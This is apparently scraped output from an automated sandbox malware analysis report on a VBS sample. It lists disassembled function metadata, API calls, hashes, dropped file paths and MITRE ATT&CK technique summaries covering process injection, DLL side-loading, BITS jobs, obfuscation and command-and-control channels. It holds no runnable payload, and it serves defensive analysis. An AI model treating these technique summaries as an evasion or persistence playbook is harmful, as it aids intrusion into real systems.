Opcode ID: 47eb3bf2c96b548f490852703a42fc83f93343bc6dbcd317f0ac2b7f2310a698
Instruction ID: 1f97d5e540f0c2185c092cfbe28bddc744ecef7c4082db444dbe0a82319bbb62
Opcode Fuzzy Hash: 47eb3bf2c96b548f490852703a42fc83f93343bc6dbcd317f0ac2b7f2310a698
Instruction Fuzzy Hash: 22119DB674C73565E42121652D07F3B1ECD5B02906F4449ECEC09E89D6E681FE209397

Function 053C34E5 Relevance: 7.9, APIs: 4, Strings: 1, Instructions: 377COMMON

Download Yara Rule

APIs

memcmp.MSVCRT(?,?,00000004), ref: 053C3551
calloc.MSVCRT ref: 053C36DA
memcmp.MSVCRT(?,?,00000020,?,?,?,?,?,?), ref: 053C3926
free.MSVCRT ref: 053C393B

Strings

factfmt RIFFdata, xrefs: 053C359A, 053C359F

Memory Dump Source

Source File: 0000000A.00000002.2611366483.00000000053C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 053C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_53c1000_dialer.jbxd

Yara matches

Similarity

API ID: memcmp$callocfree
String ID: factfmt RIFFdata
API String ID: 254810267-2461439165
Opcode ID: ca4751a78412b4d19d06d1163b4c2bc087ec4ddb6b34d0b6b970e31135077bc8
Instruction ID: 1fd189484a0d848c073dceddb90dd82ea219b7888e9454ec3fa17279f4155ec3
Opcode Fuzzy Hash: ca4751a78412b4d19d06d1163b4c2bc087ec4ddb6b34d0b6b970e31135077bc8
Instruction Fuzzy Hash: 9CD18E72E042199BDF24DFA4C884BEEBBB9BF44710F0484AEE545E7240D774EA44CB65

Function 053D51E4 Relevance: 7.8, APIs: 6, Instructions: 347COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 053D51F6
memset.MSVCRT ref: 053D5202
memset.MSVCRT ref: 053D520E
calloc.MSVCRT ref: 053D5273

Memory Dump Source

Source File: 0000000A.00000002.2611366483.00000000053C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 053C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_53c1000_dialer.jbxd

Yara matches

Similarity

API ID: memset$calloc
String ID:
API String ID: 1504270956-0
Opcode ID: d25977667076de57908bb3040c836268283e1683ce5adbb34f4ed861ca865f1a
Instruction ID: 90dc0626b6b3aa33e3ed3dca6771c2dcc3e1b9cdd39a8267107c70080d200ebd
Opcode Fuzzy Hash: d25977667076de57908bb3040c836268283e1683ce5adbb34f4ed861ca865f1a
Instruction Fuzzy Hash: 0AC10D73A00209EBDB11DAA5E985EEFB7FEBF44240F14456AE906D7144F670EB04CBA1

Function 053CC5F6 Relevance: 7.7, APIs: 3, Strings: 2, Instructions: 158stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 053CC60B
strchr.MSVCRT ref: 053CC650
strchr.MSVCRT ref: 053CC666

Strings

0123456789abcdef, xrefs: 053CC646, 053CC64C
0123456789ABCDEF, xrefs: 053CC65C, 053CC662

Memory Dump Source

Source File: 0000000A.00000002.2611366483.00000000053C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 053C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_53c1000_dialer.jbxd

Yara matches

Similarity

API ID: strchr$memset
String ID: 0123456789ABCDEF$0123456789abcdef
API String ID: 3020236661-885041942
Opcode ID: e5d8b38c9f713ba45545b653990df95b04926dc60ebcf6cc6b97812826b14390
Instruction ID: ef3b0e07fd193ac5fbfd683db3e1f3615957a0bb973d4e72ce3549b02bc7d956
Opcode Fuzzy Hash: e5d8b38c9f713ba45545b653990df95b04926dc60ebcf6cc6b97812826b14390
Instruction Fuzzy Hash: B551803190424DDFCF21CEA8C4955EEBFB9FB41254F1450AED45AEB240D7709E85CB90

Function 053C8E11 Relevance: 7.5, APIs: 5, Instructions: 33synchronizationCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,00000000,?,?,053C8E0E,00000000,053CBB73,053CBBBA,053EEEE0,053CBBC2,053CBB73,00000000), ref: 053C8E1E
InterlockedCompareExchange.KERNEL32(053CBB77,00000000,00000000), ref: 053C8E30
SetEvent.KERNEL32(00000000,?,053C8E0E,00000000,053CBB73,053CBBBA,053EEEE0,053CBBC2,053CBB73,00000000), ref: 053C8E41
CloseHandle.KERNEL32(00000000,?,053C8E0E,00000000,053CBB73,053CBBBA,053EEEE0,053CBBC2,053CBB73,00000000), ref: 053C8E4D
WaitForSingleObject.KERNEL32(053CBB73,000000FF,?,053C8E0E,00000000,053CBB73,053CBBBA,053EEEE0,053CBBC2,053CBB73,00000000), ref: 053C8E58

Memory Dump Source

Source File: 0000000A.00000002.2611366483.00000000053C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 053C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_53c1000_dialer.jbxd

Yara matches

Similarity

API ID: Event$CloseCompareCreateExchangeHandleInterlockedObjectSingleWait
String ID:
API String ID: 4206309166-0
Opcode ID: 2ac053aa01820413f73c04a906d467ba65759ab1802f9c7faaafcab66ee0f245
Instruction ID: 813d1d645731ef3156cbdd2a43d01e1b4e2c91eeb63b2516e526279288d78fc2
Opcode Fuzzy Hash: 2ac053aa01820413f73c04a906d467ba65759ab1802f9c7faaafcab66ee0f245
Instruction Fuzzy Hash: D4F05E35114304BBDB216FA0DC4EB967FACFB08761F104415FA0A9E1C1DAB1A9408B60

Function 053C50CC Relevance: 6.3, APIs: 5, Instructions: 62COMMON

Download Yara Rule

APIs

memcmp.MSVCRT(?,053EDD30,0000000E), ref: 053C50F7
memcmp.MSVCRT(?,053EDD20,0000000E), ref: 053C5119
memcmp.MSVCRT(?,053EDD10,0000000E), ref: 053C513B
memcmp.MSVCRT(?,053EDD00,0000000E), ref: 053C515D
memcmp.MSVCRT(?,053EDCF0,0000000E), ref: 053C517F

Memory Dump Source

Source File: 0000000A.00000002.2611366483.00000000053C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 053C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_53c1000_dialer.jbxd

Yara matches

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 374cdd8bbee94cebc44fd960bf5186a32b2b97fbe3a265bc4af2e440cb508a55
Instruction ID: 2b62e6b2e0d6d47bfc557f4996527a58ac68f4dddeb48e32e856b4ec707cc413
Opcode Fuzzy Hash: 374cdd8bbee94cebc44fd960bf5186a32b2b97fbe3a265bc4af2e440cb508a55
Instruction Fuzzy Hash: E20171B675C36935E52052652E07F361ECEAB1094AF444DDCAC09F85C1F6E2ED609742

Function 053C5199 Relevance: 6.3, APIs: 5, Instructions: 58COMMON

Download Yara Rule

APIs

memcmp.MSVCRT(?,053EDCE0,0000000F), ref: 053C51BA
memcmp.MSVCRT(?,053EDCD0,0000000F), ref: 053C51D8
memcmp.MSVCRT(?,053EDCC0,0000000F), ref: 053C51FA
memcmp.MSVCRT(?,053EDCB0,0000000F), ref: 053C521C

Memory Dump Source

Source File: 0000000A.00000002.2611366483.00000000053C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 053C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_53c1000_dialer.jbxd

Yara matches

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 04a2dd88ef19a29e8a54c356bf31a4c8bd952e82d979bdab62385b687ff1a57e
Instruction ID: 4dc41feafcd044b683d51e3d8a7c30202f71d7f5ae9f531b2cae3572b94e3a39
Opcode Fuzzy Hash: 04a2dd88ef19a29e8a54c356bf31a4c8bd952e82d979bdab62385b687ff1a57e
Instruction Fuzzy Hash: 340178B278873225D52151651D07F3A2ECD6B01986F4048EDEC09E89CAF2C1EE216787

Function 053CE0E5 Relevance: 6.2, APIs: 3, Strings: 1, Instructions: 150COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 053CE159
calloc.MSVCRT ref: 053CE168

Strings

P, xrefs: 053CE26C

Memory Dump Source

Source File: 0000000A.00000002.2611366483.00000000053C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 053C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_53c1000_dialer.jbxd

Yara matches

Similarity

API ID: callocfree
String ID: P
API String ID: 306872129-3110715001
Opcode ID: ddbe9c6c6f570563048057cedfb526c2b238d1e1c12ea09f0e78050a39d4873e
Instruction ID: d842fcd6edaf97e5b24ddbca5db13a43d2a13fab03dc3a187ca8ef45ebffe77b
Opcode Fuzzy Hash: ddbe9c6c6f570563048057cedfb526c2b238d1e1c12ea09f0e78050a39d4873e
Instruction Fuzzy Hash: 9251B2337096009FD776AA28C889F697F9ABF41700F1884ECF4478B692EA61EC449755

Function 053C39C1 Relevance: 6.1, APIs: 4, Instructions: 89networkCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 053C3A01
getaddrinfo.WS2_32(?,00000000,?,00000000), ref: 053C3A24
htons.WS2_32(?), ref: 053C3A8D
FreeAddrInfoW.WS2_32(00000000), ref: 053C3AA4

Memory Dump Source

Source File: 0000000A.00000002.2611366483.00000000053C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 053C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_53c1000_dialer.jbxd

Yara matches

Similarity

API ID: AddrFreeInfogetaddrinfohtonsmemset
String ID:
API String ID: 928751204-0
Opcode ID: 3e381ee13b6722ffc37edd36b173326237a2009c6d1c545fedf30de0fa301d1c
Instruction ID: 6ffa219a4b9ae9dbf04f8d4c58c90aaf77fb6d72f6f339e9e2ce90adff985987
Opcode Fuzzy Hash: 3e381ee13b6722ffc37edd36b173326237a2009c6d1c545fedf30de0fa301d1c
Instruction Fuzzy Hash: 1F317E76A00205EFCB24DF94C848FAABBFAFF44314F158899E4059B251E371EE55CB91

Function 053CA53B Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 248networkCOMMON

Download Yara Rule

APIs

WSARecv.WS2_32(?,?,00000001,00000000,?,00000000,00000000), ref: 053CA641
WSAGetLastError.WS2_32(?,?,?,00000000,00000000,?), ref: 053CA6F2

Strings

E', xrefs: 053CA74B

Memory Dump Source

Source File: 0000000A.00000002.2611366483.00000000053C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 053C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_53c1000_dialer.jbxd

Yara matches

Similarity

API ID: ErrorLastRecv
String ID: E'
API String ID: 904507345-3751625834
Opcode ID: a0afcf1e8237655e99681bce9dcaa75c9a35a61b68294e5d1dc90b4a3738b9ed
Instruction ID: 889864e11c88c0d91f86a3b6321774d3ac2df3a9ecd0233d972426704f5428c0
Opcode Fuzzy Hash: a0afcf1e8237655e99681bce9dcaa75c9a35a61b68294e5d1dc90b4a3738b9ed
Instruction Fuzzy Hash: 7781027150470CAFDB318F54C884EAA7FFAFF04364F00869DE99686690E771EE958B90

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse BITS jobs to persistently execute code and perform various background tasks. Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through Component Object Model (COM).BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations.
Tactics:	Defense Evasion, Persistence
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, Service: Service Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report tmkSAOF3GM.vbs

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Other

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4oim2sg3.bsw.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_b25ugmmv.whp.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ck202jc0.bsk.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_req1kcmc.n23.psm1

C:\Users\user\AppData\Roaming\BIT7E81.tmp

C:\Users\user\AppData\Roaming\Inte.reg (copy)

Static File Info

General

Windows Analysis Report
tmkSAOF3GM.vbs

Function 00007FFAAB779A45 Relevance: 17.5, Strings: 13, Instructions: 1291
COMMON

Function 00007FFAAB77AF80 Relevance: 1.8, APIs: 1, Instructions: 331
comCOMMON

Function 00007FFAAB7857E6 Relevance: .5, Instructions: 472
COMMON

Function 00007FFAAB786592 Relevance: .5, Instructions: 458
COMMON

Function 00007FFAAB77E6A0 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 190
COMMON

Function 00007FFAAB77E5B9 Relevance: 1.6, APIs: 1, Instructions: 117
COMMON

Function 00007FFAAB84333D Relevance: .4, Instructions: 378
COMMON

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre